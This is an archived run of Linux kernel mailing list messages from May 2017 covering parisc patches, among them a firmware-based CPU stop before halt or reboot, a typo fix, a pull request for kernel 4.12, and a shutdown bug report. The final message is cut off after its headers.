User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: kernel-janitors@vger.kernel.org, linux-kernel@vger.kernel.org
To: Colin King <colin.king@canonical.com>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        linux-parisc@vger.kernel.org
Original-X-From: kernel-janitors-owner@vger.kernel.org Fri May 12 09:16:04 2017
Return-path: <kernel-janitors-owner@vger.kernel.org>
Envelope-to: glkj-kernel-janitors-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <kernel-janitors-owner@vger.kernel.org>)
	id 1d94nx-0002qd-Tp
	for glkj-kernel-janitors-2@m.gmane.org; Fri, 12 May 2017 09:16:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752996AbdELHQG (ORCPT
        <rfc822;glkj-kernel-janitors-2@m.gmane.org>);
        Fri, 12 May 2017 03:16:06 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:55563 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751272AbdELHQF (ORCPT <rfc822;kernel-janitors@vger.kernel.org>);
        Fri, 12 May 2017 03:16:05 -0400
Original-Received: from [10.95.163.206] ([155.56.40.73]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MRGTX-1dalEE3uyV-00UblN; Fri, 12
 May 2017 09:16:02 +0200
In-Reply-To: <20170512055028.3030-1-colin.king@canonical.com>
X-Provags-ID: V03:K0:wxis2GMryN/lMch5kgN9c6Kuq349Va80o4mCHVWA/VaG6BkC3/h
 OQDH0pSRKUclYY7fZFxBh94xxsX2OFaDbtuvBL2zNlnlu7nHJSkJIhM7HDwpeorKWH7q87g
 pvPl2cMkJluG/SKz9+m7lsG0yaaIVRhN9yZ8cyShLVA8nMuTcobjiQCj+yWhGhViOAzL5UP
 rXasPMhgbugaCMLdVYubg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LIR6uVjtn5o=:BTu9mTrHdUmYxY80rXIhHV
 DqTTudMvC2VpnOeEdYj7TsW5OHSydbLEhxbES99j8RJoIt1JuDTh7xsRyBKLTPnGL06yzh7Fu
 MSFkCbI5KFrJSVriv9EdibzhefMkXAUBo7weEHluH9MnTYBZCef74YuAF0sC5h4FayV1y7CtN
 /T7722LL9KT1c6rV0F3NzzvtRCQIRBh81zpom3vkqN2GizYKcHYgBX/tCcZz7F+5tSgT8KZy5
 bouGrk0RTcwjcSpH7nULSE7EJZgqPoMRdixGvhd7avXLgyuChC2Xc5uqBEu7BrOlpoVMLqyKQ
 v8frdL1dQnjgRcOQMdKZiGIq6gLMPcouqqavNVVVVwxAd2GvaLf4ar2Ar6OT7bWtx/E8JkhED
 PLYrn804d3k6RKEzuwdDowzPFE4JZ7RMLNzXn4/TweSFjG3YSNx9UWNXoUQWEE/O7YH7ccrmM
 +KWOSiYZ+PbcXQlobDMB3lbkV45z+zIeI4enmEHhdqX2Tjdh0Lhl/Nhg59VRhWEhekMQWMDVJ
 zYCCSgWKxR694VxefzPGDgbk9j1yba5Rq/sjmmCBYeGSfXDOcVEmn9hxilRDsBeUate+A3QA8
 ZKmfDjjjvmpNbG6xJpurKkUb4A4swegNQehykMfKfP0cvgle503HR2c6F/h8vDVmTAvRpjNMv
 WL92qV+qZJYil/+7IE0GqrgV+4Vp7rq6tYgL54Jk/Y3ily7Yq9HrviMH60/7/yQZRDfHPAC5m
 6DIhW8q1jVkXlHOZfninA//M/yVyzxNM7v4DbPi90SGBDqaEnwnB2NHvuuHWhz+mOoLzly3a 
Original-Sender: kernel-janitors-owner@vger.kernel.org
Precedence: bulk
List-ID: <kernel-janitors.vger.kernel.org>
X-Mailing-List: kernel-janitors@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.janitors:44388 gmane.linux.ports.parisc:27409 gmane.linux.kernel:2473577
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.janitors/44388>

On 12.05.2017 07:50, Colin King wrote:
> From: Colin Ian King <colin.king@canonical.com>
> 
> Trivial fix to spelling mistake in a pr_warn message.

Thanks Colin,

Interestingly, your patch is against my for-next git tree which I
haven't pushed upstream yet.
I'll fix it before pushing.

Btw, your patch title is wrong, it should be "error_tye" instead of "patch_tye"...

Thanks,
Helge



> Signed-off-by: Colin Ian King <colin.king@canonical.com>
> ---
>  arch/parisc/kernel/pdt.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/kernel/pdt.c b/arch/parisc/kernel/pdt.c
> index 261e134ee7f8..6362614c5160 100644
> --- a/arch/parisc/kernel/pdt.c
> +++ b/arch/parisc/kernel/pdt.c
> @@ -131,7 +131,7 @@ void __init pdc_pdt_init(void)
>  	}
>  
>  	for (i = 0; i < pdt_status.pdt_entries; i++) {
> -		pr_warn("PDT: BAD PAGE at 0x%08lx (error_tye = %lu)\n",
> +		pr_warn("PDT: BAD PAGE at 0x%08lx (error_type = %lu)\n",
>  			pdt_entry[i] & PAGE_MASK,
>  			pdt_entry[i] & 1);
>  
> 

--
To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Stop CPUs via PAT firmware before system halt or
 reboot.
Date: Fri, 12 May 2017 18:55:13 +0200
Lines: 119
Approved: news@gmane.org
Message-ID: <20170512165513.GA23551@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1494608135 20260 195.159.176.226 (12 May 2017 16:55:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 May 2017 16:55:35 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 12 18:55:31 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d9Dqj-00054Y-L8
	for glpp-linux-parisc@m.gmane.org; Fri, 12 May 2017 18:55:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1758222AbdELQzd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 12 May 2017 12:55:33 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:60824 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755920AbdELQz2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 12 May 2017 12:55:28 -0400
Original-Received: from ls3530.fritz.box ([193.159.23.168]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MCfcc-1dIXVG1kpO-009Oxl; Fri, 12
 May 2017 18:55:16 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:W1mI+MgX9XXprv8wHshQxc1DBDtoeFTkayX+oRZ9EZitjN17bBr
 wVYAH/Nrxebia//Sj6epzTA4THREoGMwK8dxNEvqZUSypsJvpL2TG9gX3OjFYEhqi/n9I8S
 FVgkv0Q9AP4uO5nI9m2p1SvSAUDtFL9GUsPTPMMpSmsKpPWdtKzdUTrzpM62IgTFb7uM9U4
 AgTEs97MEkiVFhO581qvA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:k0Zk4x/bClE=:9m6M7D/34KO/cdOJSA1rD3
 COJ53HL0uBXh9EK2OzQY5Dqs++XVzfpO7SoONk8tLxnrGewGSwU7BiIciwp1t+x/ErtVAy8s5
 dKJWydPlFNyu2SuOd4URlY4ZZRmtGQygz9j+SYW00bpXfy1SjJ3aTaoXFisFd57celqYaeSFo
 ltqlRmXIR09+Qe+a/f2Wte8zi62sZVCRKq+o4B7AbWD5ITAumHFdA3UgpI1cQRmhxvqN4eFGN
 QpqKC4YbM8gOgoMl4XqzxsAykw0iAXyRCqFJaTP27f4HOfjc113fOgyQFxK2rLQR/rNOmBPrq
 6eaWqWvjxEjo+RtcPN5ycUfZM2QDmM3TdtD0PDZmU4HbaNZ+VrcNxjFwe26nkl9otWxXl/6pr
 lcgC+uq5y+wrtZSnOwDV+z0rBh5cyA1VGifHuP8tQTTIOVf7AypOCnzwdQptgljWGQKtPYRXT
 NehAh3QUrgqVqhJOqEuzmBWNW+u77DPx+gtk5BmNMRyAzl9LPPbZ8Z2Cvuldy0aauhIlhWQp7
 ez1N4np5YJAE/JvkpRO5WK6Wmasia4c4I/FmFerTEJ+6BEGki/CRsEk8HztHeHI2PqmDLjCkJ
 infgDAERXR7reanjTSU5sQn3iaR1Z2STI0hnsoH+F27aHnLHDmg0F4+u+b24XWPbcKvipQt3m
 Oc4Oe9RswXu/YTPJYg/xoz6rRGwGKFX37UMHLA+8oY5X/GdVBnIDGvKam4BlokAww1ViBRKqq
 siwOquOlY9qThhpuSVrYnF9Yks7M7l+9s86VawNI6gGZ4MwQhLzwiZx/ASU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27411
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27411>

Dave reported that he had issued a "shutdown -r" and a panic occurred during
the reboot while all CPUs were still up. After this, stall messages were output
to console after the firmware version was printed.

To avoid that issue, add functions to call PAT firmware to stop all CPUs (with
the exception of the currently running CPU) before a panic reboot or a system
halt is issued.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdcpat.h b/arch/parisc/include/asm/pdcpat.h
index 32e105f..0ef789e 100644
--- a/arch/parisc/include/asm/pdcpat.h
+++ b/arch/parisc/include/asm/pdcpat.h
@@ -307,6 +307,7 @@ extern int pdc_pat_cell_module(unsigned long *actcnt, unsigned long ploc, unsign
 extern int pdc_pat_cell_num_to_loc(void *, unsigned long);
 
 extern int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, unsigned long hpa);
+extern int pdc_pat_cpu_stop_cpu(unsigned long hpa, unsigned long hpa_vec);
 
 extern int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr, unsigned long count, unsigned long offset);
 
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 9819025..3f55db6 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1308,6 +1308,31 @@ int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, unsigned long hpa)
 }
 
 /**
+ * pdc_pat_cpu_stop_cpu - Stop current cpu.
+ * @hpa: The Hard Physical Address of the CPU which should be informed when
+ *       current cpu has stopped.
+ * @hpa_vec: Mask of interrupts which should be signalled on CPU at @hpa.
+ *
+ * Stop the CPU in which the call is made. Flushes caches and purges TLB and
+ * places CPU in a firmware loop. If the CPU is the last in a cell, an
+ * interrupt message is sent to the CPU at @hpa.
+ */
+int pdc_pat_cpu_stop_cpu(unsigned long hpa, unsigned long hpa_vec)
+{
+	int retval;
+	unsigned long flags;
+
+	if (!hpa)
+		hpa_vec = -1UL;
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_PAT_CPU, PDC_PAT_CPU_STOP, hpa, hpa_vec);
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
+
+
+/**
  * pdc_pat_get_irt_size - Retrieve the number of entries in the cell's interrupt table.
  * @num_entries: The return value.
  * @cell_num: The target cell.
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 4516a5b..1615a9a 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -98,6 +98,9 @@ void machine_restart(char *cmd)
 #endif
 	/* set up a new led state on systems shipped with a LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
+
+	/* stops all CPUs but the current one */
+	smp_send_stop();
 	
 	/* "Normal" system reset */
 	pdc_do_reset();
@@ -116,6 +119,9 @@ void machine_halt(void)
 	** The LED/ChassisCodes are updated by the led_halt()
 	** function, called by the reboot notifier chain.
 	*/
+
+	/* stops all CPUs but the current one */
+	smp_send_stop();
 }
 
 void (*chassis_power_off)(void);
@@ -126,6 +132,9 @@ void (*chassis_power_off)(void);
  */
 void machine_power_off(void)
 {
+	/* stops all CPUs but the current one */
+	smp_send_stop();
+
 	/* If there is a registered power off handler, call it. */
 	if (chassis_power_off)
 		chassis_power_off();
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 6336510..afd9142 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -42,6 +42,7 @@
 #include <asm/irq.h>		/* for CPU_IRQ_REGION and friends */
 #include <asm/mmu_context.h>
 #include <asm/page.h>
+#include <asm/pdcpat.h>
 #include <asm/pgtable.h>
 #include <asm/pgalloc.h>
 #include <asm/processor.h>
@@ -112,6 +113,9 @@ halt_processor(void)
 	/* REVISIT : does PM *know* this CPU isn't available? */
 	set_cpu_online(smp_processor_id(), false);
 	local_irq_disable();
+#ifdef CONFIG_64BIT
+	pdc_pat_cpu_stop_cpu(0, -1UL);
+#endif
 	for (;;)
 		;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Stop CPUs via PAT firmware before system halt or reboot.
Date: Fri, 12 May 2017 21:38:42 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <4792357.d5SYhxNKWE@daneel.sf-tec.de>
References: <20170512165513.GA23551@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1619466.usUTFGK7q7"; micalg="pgp-"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1494617957 12633 195.159.176.226 (12 May 2017 19:39:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 May 2017 19:39:17 +0000 (UTC)
User-Agent: KMail/4.14.10 (Linux/4.11.0-1.g1b516a5-default; KDE/4.14.25; x86_64; ; )
To: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 12 21:39:11 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d9GP8-0006sQ-ME
	for glpp-linux-parisc@m.gmane.org; Fri, 12 May 2017 21:39:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756241AbdELTjQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 12 May 2017 15:39:16 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:43067 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1756211AbdELTjP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 12 May 2017 15:39:15 -0400
Original-Received: (qmail 20301 invoked from network); 12 May 2017 19:39:09 -0000
Original-Received: from vpn23a.hotsplots.net ([::ffff:176.74.57.162]:52098 HELO daneel.sf-tec.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
        for <linux-parisc@vger.kernel.org>; Fri, 12 May 2017 21:39:09 +0200
In-Reply-To: <20170512165513.GA23551@ls3530.fritz.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27412
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27412>

--nextPart1619466.usUTFGK7q7
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Nitpick:

> +	return retval;
> +}
> +
> +
> +/**
>   * pdc_pat_get_irt_size - Retrieve the number of entries in the cell's

Double newline.

Greetings,

Eike
--nextPart1619466.usUTFGK7q7
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iEYEABECAAYFAlkWD0cACgkQXKSJPmm5/E43ZgCeJXlE5F7L919rsObnzCAGxG+c
Y7wAnR5OeneFbpbM0sA++9bZz/LjF6bc
=Oq3f
-----END PGP SIGNATURE-----

--nextPart1619466.usUTFGK7q7--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fixes for 4.12
Date: Sat, 13 May 2017 16:16:27 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <20170513141627.GA31019@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1494684998 636 195.159.176.226 (13 May 2017 14:16:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 May 2017 14:16:38 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 13 16:16:34 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d9XqS-0007lb-NE
	for glpp-linux-parisc@m.gmane.org; Sat, 13 May 2017 16:16:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752320AbdEMOQi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 13 May 2017 10:16:38 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:52427 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752203AbdEMOQh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 13 May 2017 10:16:37 -0400
Original-Received: from ls3530.fritz.box ([193.159.23.211]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LrvWY-1e9wFk00vW-013hk6; Sat, 13
 May 2017 16:16:30 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:A9ZyN9FVtyNBZ8Lyo9jXyDZABW/DDce++nac9KXDbw+L98q8pUP
 WtgIQFzuk7PiddArXIjwTB9hOOIRqDXH23kAK2X7FTuXSj4m/n8HnVYThOWXi23DAj4UpI9
 4lWJL2tbjIOQ5lVUgjTyn/5IxKZYdKF7hNTxVkN2ghuKBvq1tmVA4F/sAajhjBvhoxIh/f4
 HtHv4m845gwYl+5TEmiLQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:CBdcdv+FoLs=:uWOceJFJ4gDdp7VkSQOzzN
 9cPqjB6I86D4QeMd0VnXoNriMhWbXUOflWpPZjnPXZpYY4zs4GdOmJhsmvd0ATsDfsWcvmSp8
 5Ng8c6sGfEMCfqQR2gj0CRg0YnLCfF1w+49wKism4buGamLf7OQG2rBgQRNSiqp2Vwvb2Zw4l
 ZtpavshUdqf+ILeUY1WQMxsY/nMYF/ohP/CMbqvQI5hG+NMJ2XPZN/DCqdcrg5AZ96YoH3Sjc
 OnwjbR6qNVWGe0YIZ7UA4w/yjVqQI4wtGnmV/TvcHVuqxN91ilJ2N2yifSHWsjjbKEDTC0A/G
 vYGp2K1cNzW7ub3qfFkV0Lf9Y7yILMQMQ5INr94J8az2iqm8sUD4o02bElaB69e03PCwszr6E
 5w1zvTZmpSfOAsL4+n/RBjr9Su0Fzjq1nD1oYGaBGm+7aDuThY5wBeJM+IPnATTAaYVubgArD
 tChYS1jdqQW2Ue4rArQ76maomY74YMSBHCcbRSnAuShggBc28JuhYaxdhv0CbC4r7YTEJKPa7
 U+k3QcLKHSUzZoF/a2SsjqFUt/o104nbOetH5TzgIB4sAZ9tUruduP5UOr5kKPdef18/WEPM7
 QPOZc+E38CalaaEwaNvqU5TbzMCLxkkMeE5QEhzKR4VXoJcNT6GBIBt3D9E0x3Xd6VrmfMvaJ
 4E1+7y25YdZlxH7bbmyeSNuVWwXWTA5f6n0bq4PH27oxLSwlvdtZlGNKB2+aOtvGWYM1W9l7W
 DU4Lo1JQVtmt+1lCyz1OiTsRFNYwWf+76pQVaAnptZfXv0160DizymMZuvo=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27413
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27413>

Hi Linus,

please pull fixes and enhancements for the parisc architecture for kernel 4.12 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.12-1

We added initial support for the Page Deallocation Table (PDT) which is
maintained by firmware and holds the list of memory addresses which have
physical errors.  By checking that list we can instruct Linux to not include
such bad memory regions into the free memory list.

Additionally we improved the detection of CPUs where the internal cr16
cycle clocks are synchronous and as such can be used as high-resolution
clock sources. 

The third enhancement is that we shut down secondary CPUs via firmware before
entering system shutdown or reboot.

The last two patches are trivial and drop unused code and simplify code.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (5):
      parisc: Inline trivial exception code in lusercopy.S
      parisc: Drop per_cpu uaccess related exception_data struct
      parisc: Enhance detection of synchronous cr16 clocksources
      parisc: Add Page Deallocation Table (PDT) support
      parisc: Stop CPUs via PAT firmware before system halt or reboot.

 arch/parisc/include/asm/pdc.h       |  18 +++++
 arch/parisc/include/asm/pdcpat.h    |  36 ++++++---
 arch/parisc/include/asm/pgtable.h   |   3 +
 arch/parisc/include/asm/processor.h |   2 +
 arch/parisc/include/asm/uaccess.h   |  11 ---
 arch/parisc/include/uapi/asm/pdc.h  |  12 +--
 arch/parisc/kernel/Makefile         |   2 +-
 arch/parisc/kernel/asm-offsets.c    |   5 --
 arch/parisc/kernel/firmware.c       | 130 ++++++++++++++++++++++++++++++++
 arch/parisc/kernel/inventory.c      |   9 +++
 arch/parisc/kernel/pdt.c            | 143 ++++++++++++++++++++++++++++++++++++
 arch/parisc/kernel/process.c        |  18 ++++-
 arch/parisc/kernel/processor.c      |   5 +-
 arch/parisc/kernel/smp.c            |   3 +
 arch/parisc/kernel/time.c           |  24 +++++-
 arch/parisc/lib/lusercopy.S         |  25 +++----
 arch/parisc/mm/fault.c              |   9 ---
 arch/parisc/mm/init.c               |   3 +
 18 files changed, 393 insertions(+), 65 deletions(-)
 create mode 100644 arch/parisc/kernel/pdt.c
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Stop CPUs via PAT firmware before system halt or reboot.
Date: Sun, 14 May 2017 20:42:24 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <267CAD7B-3DB7-457E-8A82-2CFB2FF07587@bell.net>
References: <20170512165513.GA23551@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1494808947 24927 195.159.176.226 (15 May 2017 00:42:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 May 2017 00:42:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 15 02:42:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dA45e-0006ME-1v
	for glpp-linux-parisc@m.gmane.org; Mon, 15 May 2017 02:42:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751645AbdEOAm0 convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 14 May 2017 20:42:26 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:34545 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751166AbdEOAm0 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 14 May 2017 20:42:26 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170515004225.IIRE12242.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 14 May 2017 20:42:25 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by mtlspm02.bell.net
          with ESMTP
          id <20170515004225.VUWL6763.mtlspm02.bell.net@[192.168.2.25]>;
          Sun, 14 May 2017 20:42:25 -0400
In-Reply-To: <20170512165513.GA23551@ls3530.fritz.box>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=BOFclBYG c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=kj9zAlcOel0A:10 a=tJ8p9aeEuA8A:10 a=FBHGMhGWAAAA:8 a=cmhHreAPfI6rVZ-8AkEA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27415
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27415>

On 2017-05-12, at 12:55 PM, Helge Deller wrote:

> Dave reported that he had issued a "shutdown -r" and a panic occurred during
> the reboot while all CPUs were still up. After this, stall messages were output
> to console after the firmware version was printed.
> 
> To avoid that issue, add functions to call PAT firmware to stop all CPUs (with
> the exception of the currently running CPU) before a panic reboot or a system
> halt is issued.

This patch causes a problem with "shutdown -h" on my c8000.  After the system prints
the message that it is okay to power off, the front panel LED shows a flashing red, and pressing
the power button once doesn't power the system down.  Pressing it again causes the system
to reboot.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Stop CPUs via PAT firmware before system halt or
 reboot.
Date: Mon, 15 May 2017 09:39:11 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <eb437932-ad37-b6d4-0035-edcf76538424@gmx.de>
References: <20170512165513.GA23551@ls3530.fritz.box>
 <267CAD7B-3DB7-457E-8A82-2CFB2FF07587@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
